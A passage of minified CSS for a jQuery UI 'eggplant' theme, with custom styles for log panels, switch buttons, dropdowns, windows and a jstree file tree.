table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em}.ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:700;border:0}.ui-datepicker td{border:0;padding:1px}.ui-datepicker td span,.ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none}.ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}.ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em;width:auto;overflow:visible}.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi .ui-datepicker-group{float:left}.ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em}.ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}.ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto}.ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto}.ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}.ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl .ui-datepicker-group{float:right}.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}.ui-datepicker .ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;left:.5em;top:.3em}.ui-dialog{position:absolute;top:0;left:0;padding:.2em;outline:0}.ui-dialog .ui-dialog-titlebar{padding:.4em 1em;position:relative}.ui-dialog .ui-dialog-title{float:left;margin:.1em 0;white-space:nowrap;width:90%;overflow:hidden;text-overflow:ellipsis}.ui-dialog .ui-dialog-titlebar-close{position:absolute;right:.3em;top:50%;width:20px;margin:-10px 0 0;padding:1px;height:20px}.ui-dialog .ui-dialog-content{position:relative;border:0;padding:.5em 1em;background:none;overflow:auto}.ui-dialog .ui-dialog-buttonpane{text-align:left;border-width:1px 0 0;background-image:none;margin-top:.5em;padding:.3em 1em .5em .4em}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{float:right}.ui-dialog .ui-dialog-buttonpane button{margin:.5em .4em .5em 0;cursor:pointer}.ui-dialog .ui-resizable-n{height:2px;top:0}.ui-dialog .ui-resizable-e{width:2px;right:0}.ui-dialog .ui-resizable-s{height:2px;bottom:0}.ui-dialog .ui-resizable-w{width:2px;left:0}.ui-dialog .ui-resizable-se,.ui-dialog .ui-resizable-sw,.ui-dialog .ui-resizable-ne,.ui-dialog .ui-resizable-nw{width:7px;height:7px}.ui-dialog .ui-resizable-se{right:0;bottom:0}.ui-dialog .ui-resizable-sw{left:0;bottom:0}.ui-dialog .ui-resizable-ne{right:0;top:0}.ui-dialog .ui-resizable-nw{left:0;top:0}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-draggable-handle{-ms-touch-action:none;touch-action:none}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:.1px;display:block;-ms-touch-action:none;touch-action:none}.ui-resizable-disabled .ui-resizable-handle,.ui-resizable-autohide .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-progressbar{height:2em;text-align:left;overflow:hidden;border:1px solid #dcd9de;-webkit-border-radius:4px}.ui-progressbar .ui-progressbar-value{margin:-1px;height:100%;border:1px solid #dcd9de}.ui-progressbar .ui-progressbar-overlay{background:url(assets/jqueryui/eggplant/images/pb.gif);height:100%;filter:alpha(opacity=25);opacity:.25;-webkit-border-radius:4px;overflow:hidden;border:1px solid #dcd9de}.ui-progressbar-indeterminate .ui-progressbar-value{background-image:none;border:1px solid #dcd9de;-webkit-border-radius:4px}.ui-selectable{-ms-touch-action:none;touch-action:none}.ui-selectable-helper{position:absolute;z-index:100;border:1px dotted #000}.ui-selectmenu-menu{padding:0;margin:0;position:absolute;top:0;left:0;display:none}.ui-selectmenu-menu .ui-menu{overflow:auto;overflow-x:hidden;padding-bottom:1px}.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup{font-size:1em;font-weight:700;line-height:1.5;padding:2px .4em;margin:.5em 0 0;height:auto;border:0}.ui-selectmenu-open{display:block}.ui-selectmenu-text{display:block;margin-right:20px;overflow:hidden;text-overflow:ellipsis}.ui-selectmenu-button.ui-button{text-align:left;white-space:nowrap;width:14em}.ui-selectmenu-icon.ui-icon{float:right;margin-top:0}.ui-slider{position:relative;text-align:left}.ui-slider .ui-slider-handle{position:absolute;z-index:2;width:1.2em;height:1.2em;cursor:default;-ms-touch-action:none;touch-action:none}.ui-slider .ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0 0}.ui-slider.ui-state-disabled .ui-slider-handle,.ui-slider.ui-state-disabled .ui-slider-range{filter:inherit}.ui-slider-horizontal{height:.8em}.ui-slider-horizontal .ui-slider-handle{top:-.3em;margin-left:-.6em}.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.ui-slider-horizontal .ui-slider-range-min{left:0}.ui-slider-horizontal .ui-slider-range-max{right:0}.ui-slider-vertical{width:.8em;height:100px}.ui-slider-vertical .ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em}.ui-slider-vertical .ui-slider-range{left:0;width:100%}.ui-slider-vertical .ui-slider-range-min{bottom:0}.ui-slider-vertical .ui-slider-range-max{top:0}.ui-sortable-handle{-ms-touch-action:none;touch-action:none}.ui-spinner{position:relative;display:inline-block;overflow:hidden;padding:0;vertical-align:middle}.ui-spinner-input{border:none;background:none;color:inherit;padding:.222em 0;margin:.2em 0;vertical-align:middle;margin-left:.4em;margin-right:2em}.ui-spinner-button{width:1.6em;height:50%;font-size:.5em;padding:0;margin:0;text-align:center;position:absolute;cursor:default;display:block;overflow:hidden;right:0}.ui-spinner a.ui-spinner-button{border-top-style:none;border-bottom-style:none;border-right-style:none}.ui-spinner-up{top:0}.ui-spinner-down{bottom:0}.ui-tabs{position:relative;padding:.2em}.ui-tabs .ui-tabs-nav{margin:0;#padding:.2em .2em 0 -webkit-border-bottom-left-radius:0px;-webkit-border-bottom-right-radius:0;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;padding:0}.ui-tabs .ui-tabs-nav li{list-style:none;float:left;position:relative;top:0;margin:1px .2em 0 0;border-bottom-width:0;padding:0;white-space:nowrap}.ui-tabs .ui-tabs-nav .ui-tabs-anchor{float:left;padding:.5em 1em;text-decoration:none}.ui-tabs .ui-tabs-nav li.ui-tabs-active{margin-bottom:-1px;padding-bottom:1px}.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor{cursor:default}.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor{cursor:pointer}.ui-tabs .ui-tabs-panel{display:block;border-width:0;padding:1em 1.4em;background:none}.ui-tooltip{padding:8px;position:absolute;z-index:9999;max-width:300px}body .ui-tooltip{border-width:2px}.ui-widget{font-family:Lucida Grande,Lucida Sans,Arial,sans-serif;font-size:1.1em}.ui-widget .ui-widget{font-size:1em}.ui-widget input,.ui-widget select,.ui-widget textarea,.ui-widget button{font-family:Lucida Grande,Lucida Sans,Arial,sans-serif;font-size:1em}.ui-widget.ui-widget-content{border:1px solid #dcd9de}.ui-widget-content{border:1px solid #7e7783;background:#3d3644 url(assets/jqueryui/eggplant/images/ui-bg_gloss-wave_30_3d3644_500x100.png) 50% top repeat-x;color:#fff}.ui-widget-content a{color:#fff}.ui-widget-header{border:1px solid #231d2b;background:#30273a url(assets/jqueryui/eggplant/images/ui-bg_highlight-soft_25_30273a_1x100.png) 50% 50% repeat-x;color:#fff;font-weight:700}.ui-widget-header a{color:#fff}.ui-state-default,.ui-widget-content .ui-state-default,.ui-widget-header .ui-state-default,.ui-button,html .ui-button.ui-state-disabled:hover,html .ui-button.ui-state-disabled:active{border:1px solid #dcd9de;background:#dcd9de url(assets/jqueryui/eggplant/images/ui-bg_highlight-soft_100_dcd9de_1x100.png) 50% 50% repeat-x;font-weight:700;color:#665874}.ui-state-default a,.ui-state-default a:link,.ui-state-default a:visited,a.ui-button,a:link.ui-button,a:visited.ui-button,.ui-button{color:#665874;text-decoration:none}.ui-state-hover,.ui-widget-content .ui-state-hover,.ui-widget-header .ui-state-hover,.ui-state-focus,.ui-widget-content .ui-state-focus,.ui-widget-header .ui-state-focus,.ui-button:hover,.ui-button:focus{border:1px solid #d1c5d8;background:#eae6ea url(assets/jqueryui/eggplant/images/ui-bg_highlight-soft_100_eae6ea_1x100.png) 50% 50% repeat-x;font-weight:700;color:#734d99}.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited,.ui-state-focus a,.ui-state-focus a:hover,.ui-state-focus a:link,.ui-state-focus a:visited,a.ui-button:hover,a.ui-button:focus{color:#734d99;text-decoration:none}.ui-visual-focus{box-shadow:0 0 3px 1px #5e9ed6}.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active,a.ui-button:active,.ui-button:active,.ui-button.ui-state-active:hover{border:1px solid #7e7783;background:#5f5964 url(assets/jqueryui/eggplant/images/ui-bg_highlight-soft_45_5f5964_1x100.png) 50% 50% repeat-x;font-weight:700;color:#fff}.ui-icon-background,.ui-state-active .ui-icon-background{border:#7e7783;background-color:#fff}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#fff;text-decoration:none}.ui-state-highlight,.ui-widget-content .ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid #ffdb1f;background:#fafafa;color:#333}.ui-state-checked{border:1px solid #ffdb1f;background:#fafafa}.ui-state-highlight a,.ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a{color:#333}.ui-state-error,.ui-widget-content .ui-state-error,.ui-widget-header .ui-state-error{border:1px solid #994d53;background:#994d53;color:#fff}.ui-state-error a,.ui-widget-content .ui-state-error a,.ui-widget-header .ui-state-error a{color:#fff}.ui-state-error-text,.ui-widget-content .ui-state-error-text,.ui-widget-header .ui-state-error-text{color:#fff}.ui-priority-primary,.ui-widget-content .ui-priority-primary,.ui-widget-header .ui-priority-primary{font-weight:700}.ui-priority-secondary,.ui-widget-content .ui-priority-secondary,.ui-widget-header .ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:400}.ui-state-disabled,.ui-widget-content .ui-state-disabled,.ui-widget-header .ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none}.ui-state-disabled .ui-icon{filter:Alpha(Opacity=35)}.ui-icon{width:16px;height:16px}.ui-icon,.ui-widget-content .ui-icon{background-image:url(assets/jqueryui/eggplant/images/ui-icons_ffffff_256x240.png)}.ui-widget-header .ui-icon{background-image:url(assets/jqueryui/eggplant/images/ui-icons_a8a3ae_256x240.png)}.ui-state-hover .ui-icon,.ui-state-focus .ui-icon,.ui-button:hover .ui-icon,.ui-button:focus .ui-icon{background-image:url(assets/jqueryui/eggplant/images/ui-icons_734d99_256x240.png)}.ui-state-active .ui-icon,.ui-button:active .ui-icon{background-image:url(assets/jqueryui/eggplant/images/ui-icons_454545_256x240.png)}.ui-state-highlight .ui-icon,.ui-button .ui-state-highlight.ui-icon{background-image:url(assets/jqueryui/eggplant/images/ui-icons_8d78a5_256x240.png)}.ui-state-error .ui-icon,.ui-state-error-text .ui-icon{background-image:url(assets/jqueryui/eggplant/images/ui-icons_ebccce_256x240.png)}.ui-button .ui-icon{background-image:url(assets/jqueryui/eggplant/images/ui-icons_8d78a5_256x240.png)}.ui-icon-blank{background-position:16px 16px!important}.ui-icon-caret-1-n{background-position:0 0}.ui-icon-caret-1-ne{background-position:-16px 0}.ui-icon-caret-1-e{background-position:-32px 0}.ui-icon-caret-1-se{background-position:-48px 0}.ui-icon-caret-1-s{background-position:-65px 0}.ui-icon-caret-1-sw{background-position:-80px 0}.ui-icon-caret-1-w{background-position:-96px 0}.ui-icon-caret-1-nw{background-position:-112px 0}.ui-icon-caret-2-n-s{background-position:-128px 0}.ui-icon-caret-2-e-w{background-position:-144px 0}.ui-icon-triangle-1-n{background-position:0 -16px}.ui-icon-triangle-1-ne{background-position:-16px -16px}.ui-icon-triangle-1-e{background-position:-32px -16px}.ui-icon-triangle-1-se{background-position:-48px -16px}.ui-icon-triangle-1-s{background-position:-65px -16px}.ui-icon-triangle-1-sw{background-position:-80px -16px}.ui-icon-triangle-1-w{background-position:-96px -16px}.ui-icon-triangle-1-nw{background-position:-112px -16px}.ui-icon-triangle-2-n-s{background-position:-128px -16px}.ui-icon-triangle-2-e-w{background-position:-144px -16px}.ui-icon-arrow-1-n{background-position:0 -32px}.ui-icon-arrow-1-ne{background-position:-16px -32px}.ui-icon-arrow-1-e{background-position:-32px -32px}.ui-icon-arrow-1-se{background-position:-48px -32px}.ui-icon-arrow-1-s{background-position:-65px -32px}.ui-icon-arrow-1-sw{background-position:-80px -32px}.ui-icon-arrow-1-w{background-position:-96px -32px}.ui-icon-arrow-1-nw{background-position:-112px -32px}.ui-icon-arrow-2-n-s{background-position:-128px -32px}.ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.ui-icon-arrow-2-e-w{background-position:-160px -32px}.ui-icon-arrow-2-se-nw{background-position:-176px -32px}.ui-icon-arrowstop-1-n{background-position:-192px -32px}.ui-icon-arrowstop-1-e{background-position:-208px -32px}.ui-icon-arrowstop-1-s{background-position:-224px -32px}.ui-icon-arrowstop-1-w{background-position:-240px -32px}.ui-icon-arrowthick-1-n{background-position:1px -48px}.ui-icon-arrowthick-1-ne{background-position:-16px -48px}.ui-icon-arrowthick-1-e{background-position:-32px -48px}.ui-icon-arrowthick-1-se{background-position:-48px -48px}.ui-icon-arrowthick-1-s{background-position:-64px -48px}.ui-icon-arrowthick-1-sw{background-position:-80px -48px}.ui-icon-arrowthick-1-w{background-position:-96px -48px}.ui-icon-arrowthick-1-nw{background-position:-112px -48px}.ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.ui-icon-arrowreturnthick-1-w{background-position:0 -64px}.ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.ui-icon-arrowreturn-1-w{background-position:-64px -64px}.ui-icon-arrowreturn-1-n{background-position:-80px -64px}.ui-icon-arrowreturn-1-e{background-position:-96px -64px}.ui-icon-arrowreturn-1-s{background-position:-112px -64px}.ui-icon-arrowrefresh-1-w{background-position:-128px -64px}.ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.ui-icon-arrow-4{background-position:0 -80px}.ui-icon-arrow-4-diag{background-position:-16px -80px}.ui-icon-extlink{background-position:-32px -80px}.ui-icon-newwin{background-position:-48px -80px}.ui-icon-refresh{background-position:-64px -80px}.ui-icon-shuffle{background-position:-80px -80px}.ui-icon-transfer-e-w{background-position:-96px -80px}.ui-icon-transferthick-e-w{background-position:-112px -80px}.ui-icon-folder-collapsed{background-position:0 -96px}.ui-icon-folder-open{background-position:-16px -96px}.ui-icon-document{background-position:-32px -96px}.ui-icon-document-b{background-position:-48px -96px}.ui-icon-note{background-position:-64px -96px}.ui-icon-mail-closed{background-position:-80px -96px}.ui-icon-mail-open{background-position:-96px -96px}.ui-icon-suitcase{background-position:-112px -96px}.ui-icon-comment{background-position:-128px -96px}.ui-icon-person{background-position:-144px -96px}.ui-icon-print{background-position:-160px -96px}.ui-icon-trash{background-position:-176px -96px}.ui-icon-locked{background-position:-192px -96px}.ui-icon-unlocked{background-position:-208px -96px}.ui-icon-bookmark{background-position:-224px -96px}.ui-icon-tag{background-position:-240px -96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px -112px}.ui-icon-calendar{background-position:-32px -112px}.ui-icon-cart{background-position:-48px -112px}.ui-icon-pencil{background-position:-64px -112px}.ui-icon-clock{background-position:-80px -112px}.ui-icon-disk{background-position:-96px -112px}.ui-icon-calculator{background-position:-112px -112px}.ui-icon-zoomin{background-position:-128px -112px}.ui-icon-zoomout{background-position:-144px -112px}.ui-icon-search{background-position:-160px -112px}.ui-icon-wrench{background-position:-176px -112px}.ui-icon-gear{background-position:-192px -112px}.ui-icon-heart{background-position:-208px -112px}.ui-icon-star{background-position:-224px -112px}.ui-icon-link{background-position:-240px -112px}.ui-icon-cancel{background-position:0 -128px}.ui-icon-plus{background-position:-16px -128px}.ui-icon-plusthick{background-position:-32px -128px}.ui-icon-minus{background-position:-48px -128px}.ui-icon-minusthick{background-position:-64px -128px}.ui-icon-close{background-position:-80px -128px}.ui-icon-closethick{background-position:-96px -128px}.ui-icon-key{background-position:-112px -128px}.ui-icon-lightbulb{background-position:-128px -128px}.ui-icon-scissors{background-position:-144px -128px}.ui-icon-clipboard{background-position:-160px -128px}.ui-icon-copy{background-position:-176px -128px}.ui-icon-contact{background-position:-192px -128px}.ui-icon-image{background-position:-208px -128px}.ui-icon-video{background-position:-224px -128px}.ui-icon-script{background-position:-240px -128px}.ui-icon-alert{background-position:0 -144px}.ui-icon-info{background-position:-16px -144px}.ui-icon-notice{background-position:-32px -144px}.ui-icon-help{background-position:-48px -144px}.ui-icon-check{background-position:-64px -144px!important}.ui-icon-bullet{background-position:-80px -144px}.ui-icon-radio-on{background-position:-96px -144px}.ui-icon-radio-off{background-position:-112px -144px}.ui-icon-pin-w{background-position:-128px -144px}.ui-icon-pin-s{background-position:-144px -144px}.ui-icon-play{background-position:0 -160px}.ui-icon-pause{background-position:-16px -160px}.ui-icon-seek-next{background-position:-32px -160px}.ui-icon-seek-prev{background-position:-48px -160px}.ui-icon-seek-end{background-position:-64px -160px}.ui-icon-seek-start{background-position:-80px -160px}.ui-icon-seek-first{background-position:-80px -160px}.ui-icon-stop{background-position:-96px -160px}.ui-icon-eject{background-position:-112px -160px}.ui-icon-volume-off{background-position:-128px -160px}.ui-icon-volume-on{background-position:-144px -160px}.ui-icon-power{background-position:0 -176px}.ui-icon-signal-diag{background-position:-16px -176px}.ui-icon-signal{background-position:-32px -176px}.ui-icon-battery-0{background-position:-48px -176px}.ui-icon-battery-1{background-position:-64px -176px}.ui-icon-battery-2{background-position:-80px -176px}.ui-icon-battery-3{background-position:-96px -176px}.ui-icon-circle-plus{background-position:0 -192px}.ui-icon-circle-minus{background-position:-16px -192px}.ui-icon-circle-close{background-position:-32px -192px}.ui-icon-circle-triangle-e{background-position:-48px -192px}.ui-icon-circle-triangle-s{background-position:-64px -192px}.ui-icon-circle-triangle-w{background-position:-80px -192px}.ui-icon-circle-triangle-n{background-position:-96px -192px}.ui-icon-circle-arrow-e{background-position:-112px -192px}.ui-icon-circle-arrow-s{background-position:-128px -192px!important}.ui-icon-circle-arrow-w{background-position:-144px -192px}.ui-icon-circle-arrow-n{background-position:-160px -192px}.ui-icon-circle-zoomin{background-position:-176px -192px}.ui-icon-circle-zoomout{background-position:-192px -192px}.ui-icon-circle-check{background-position:-208px -192px}.ui-icon-circlesmall-plus{background-position:0 -208px}.ui-icon-circlesmall-minus{background-position:-16px -208px}.ui-icon-circlesmall-close{background-position:-32px -208px}.ui-icon-squaresmall-plus{background-position:-48px -208px}.ui-icon-squaresmall-minus{background-position:-64px -208px}.ui-icon-squaresmall-close{background-position:-80px -208px}.ui-icon-grip-dotted-vertical{background-position:0 -224px}.ui-icon-grip-dotted-horizontal{background-position:-16px -224px}.ui-icon-grip-solid-vertical{background-position:-32px -224px}.ui-icon-grip-solid-horizontal{background-position:-48px -224px}.ui-icon-gripsmall-diagonal-se{background-position:-64px -224px}.ui-icon-grip-diagonal-se{background-position:-80px -224px}.ui-corner-all,.ui-corner-top,.ui-corner-left,.ui-corner-tl{-webkit-border-top-left-radius:6px}.ui-corner-all,.ui-corner-top,.ui-corner-right,.ui-corner-tr{-webkit-border-top-right-radius:6px}.ui-corner-all,.ui-corner-bottom,.ui-corner-left,.ui-corner-bl{-webkit-border-bottom-left-radius:6px}.ui-corner-all,.ui-corner-bottom,.ui-corner-right,.ui-corner-br{-webkit-border-bottom-right-radius:6px}.ui-widget-overlay{background:#eee;opacity:.8;filter:Alpha(Opacity=80)}.ui-widget-shadow{-webkit-box-shadow:-4px -4px 4px #aaa}.hourglass{background:url(assets/jqueryui/eggplant/images/hourglass-pink.gif)}.progress-val{position:absolute;font-weight:700;color:#fff;text-shadow:-1px -1px 0 #332c3a,0 -1px 0 #332c3a,1px -1px 0 #332c3a,1px 0 0 #332c3a,1px 1px 0 #332c3a,0 1px 0 #332c3a,-1px 1px 0 #332c3a,-1px 0 0 #332c3a;width:88.5%;text-align:center;vertical-align:middle;height:10%;padding:5px 0 0}.header-label{font-size:10pt;white-space:pre}.header-label.off{color:#806e91;text-shadow:-1px -1px 0 #332c3a,0 -1px 0 #332c3a,1px -1px 0 #332c3a,1px 0 0 #332c3a,1px 1px 0 #332c3a,0 1px 0 #332c3a,-1px 1px 0 #332c3a,-1px 0 0 #332c3a}.header-label.on{color:#fff;text-shadow:-1px -1px 0 #332c3a,0 -1px 0 #332c3a,1px -1px 0 #332c3a,1px 0 0 #332c3a,1px 1px 0 #332c3a,0 1px 0 #332c3a,-1px 1px 0 #332c3a,-1px 0 0 #332c3a}.switch-button-label{float:left;font-size:10pt;cursor:pointer;white-space:pre}.switch-button-label.off{color:#806e91;text-shadow:-1px -1px 0 #332c3a,0 -1px 0 #332c3a,1px -1px 0 #332c3a,1px 0 0 #332c3a,1px 1px 0 #332c3a,0 1px 0 #332c3a,-1px 1px 0 #332c3a,-1px 0 0 #332c3a}.switch-button-label.on{color:#fff;text-shadow:-1px -1px 0 #332c3a,0 -1px 0 #332c3a,1px -1px 0 #332c3a,1px 0 0 #332c3a,1px 1px 0 #332c3a,0 1px 0 #332c3a,-1px 1px 0 #332c3a,-1px 0 0 #332c3a}.switch-button-background{float:left;position:relative;background:#eae6ea;border:1px solid #eae6ea;margin:1px 10px;-webkit-border-radius:6px;cursor:pointer}.switch-button-button{position:absolute;left:-1px;top:-1px;border:1px solid #eae6ea;background:#665874}.switch-button-button.on{-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:6px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:6px}.switch-button-button.off{-webkit-border-top-left-radius:6px;-webkit-border-top-right-radius:0;-webkit-border-bottom-left-radius:6px;-webkit-border-bottom-right-radius:0}.icon{vertical-align:middle!important;margin-top:-.25em!important;margin-right:.25em!important;height:16px!important;width:16px!important;background-image:url(assets/jqueryui/eggplant/images/ui-icons_734d99_256x240.png)!important}.intro-framed-textbox{border:1px solid #7e7783;-webkit-border-radius:4px;font-size:16px;text-align:center;font-weight:700;width:auto;margin:2em 5em 1em;padding:.2em}.log-info{font-size:14px;font-weight:700;color:#fff!important}.log-warning{font-size:14px;font-weight:700;color:#f90!important;text-shadow:-1px -1px 0 #000,0 -1px 0 #000,1px -1px 0 #000,1px 0 0 #000,1px 1px 0 #000,0 1px 0 #000,-1px 1px 0 #000,-1px 0 0 #000}.log-error{font-size:14px;font-weight:700;color:#ea0202!important;text-shadow:-1px -1px 0 #000,0 -1px 0 #000,1px -1px 0 #000,1px 0 0 #000,1px 1px 0 #000,0 1px 0 #000,-1px 1px 0 #000,-1px 0 0 #000}.log-debug{font-size:14px;font-weight:700;color:#feff5a!important;text-shadow:-1px -1px 0 #000,0 -1px 0 #000,1px -1px 0 #000,1px 0 0 #000,1px 1px 0 #000,0 1px 0 #000,-1px 1px 0 #000,-1px 0 0 #000}.dropdown{position:relative;display:inline-block}.dropdown-content{display:none;position:absolute;border:1px solid #7e7783;background:#3d3644 url(assets/jqueryui/eggplant/images/ui-bg_gloss-wave_30_3d3644_500x100.png) 50% top repeat-x;color:#E5E3E5;min-width:350px;-webkit-border-radius:4px;-webkit-box-shadow:0 8px 16px 0 rgba(0,0,0,.2);padding:12px 16px;z-index:1}.dropdown:hover .dropdown-content{display:block}.icon-triangle{background-image:url(assets/jqueryui/eggplant/images/ui-icons_734d99_256x240.png);background-position:-32px -16px}.dropdown:hover .icon-triangle{background-position:-48px -16px}.dd-centre{position:absolute;left:120px}.dd-right{float:right}.strict{font-size:12px;font-weight:700;color:#E5E3E5}.switcher{position:relative;left:20%}.log-options{position:absolute;top:70px;width:auto;left:12%;float:right;width:76%;padding:.5em 0 1em}.logoptions{font-size:12px;text-align:center;font-weight:700;-webkit-border-top-left-radius:12px;-webkit-border-top-right-radius:12px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0}.btlogoptions{font-size:12px;text-align:center;font-weight:700}.window{border:2px solid #dcd9de;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0;margin:0;height:210px;width:100%;min-width:100px;max-height:210px}.window-300{border:2px solid #dcd9de;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0;margin:0;height:210px;width:300px;min-width:300px;max-height:210px}.window-250{border:2px solid #dcd9de;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0;margin:0;height:auto;width:250px;min-width:250px;max-height:250px}.window-header{-webkit-border-top-left-radius:10px;-webkit-border-top-right-radius:10px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;border:0;padding:2px 10px;height:25px;width:auto;max-height:45px;overflow:hidden}.bottom-border{border-bottom:1px solid #6e6c6f}.window-content{-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:10px 10px 5px;height:auto;width:auto;overflow:hidden}.window-content-fe{-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:5px 10px 10px;height:auto;width:auto;overflow:hidden}.window-content-top{-webkit-border-bottom-left-radius:8px;-webkit-border-bottom-right-radius:8px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:10px 10px 5px;height:auto;width:auto;overflow:hidden}.window-bottom{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:0 10px;height:25px;width:auto;max-height:45px;overflow:hidden}.window-bottom-small{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:0;height:5px;width:auto;max-height:5px;min-height:5px;overflow:hidden}.table-header{width:100%}.txt-log{padding:0 5px;overflow-wrap:break-word}.cont-log{min-height:540px;max-height:540px;position:relative;height:78%;margin:10px 25px 15px;padding:10px 20px;-webkit-border-radius:6px;border:0}.pre-loader{background:#eee;position:fixed;top:0;bottom:0;left:0;right:0;width:100%;height:100%;z-index:100;opacity:.7}.jstree-node,.jstree-children,.jstree-container-ul{display:block;margin:0;padding:0;list-style-type:none;list-style-image:none}.jstree-node{white-space:nowrap}.jstree-anchor{display:inline-block;color:#000;white-space:nowrap;padding:0 4px 0 1px;margin:0;vertical-align:top}.jstree-anchor:focus{outline:0}.jstree-anchor,.jstree-anchor:link,.jstree-anchor:visited,.jstree-anchor:hover,.jstree-anchor:active{text-decoration:none;color:inherit;-webkit-border-radius:2px}.jstree-icon{display:inline-block;text-decoration:none;margin:0;padding:0;vertical-align:top;text-align:center}.jstree-icon:empty{display:inline-block;text-decoration:none;margin:0;padding:0;vertical-align:top;text-align:center}.jstree-ocl{cursor:pointer}.jstree-leaf>.jstree-ocl{cursor:default}.jstree .jstree-open>.jstree-children{display:block}.jstree .jstree-closed>.jstree-children,.jstree .jstree-leaf>.jstree-children{display:none}.jstree-anchor>.jstree-themeicon{margin-right:2px}.jstree-no-icons 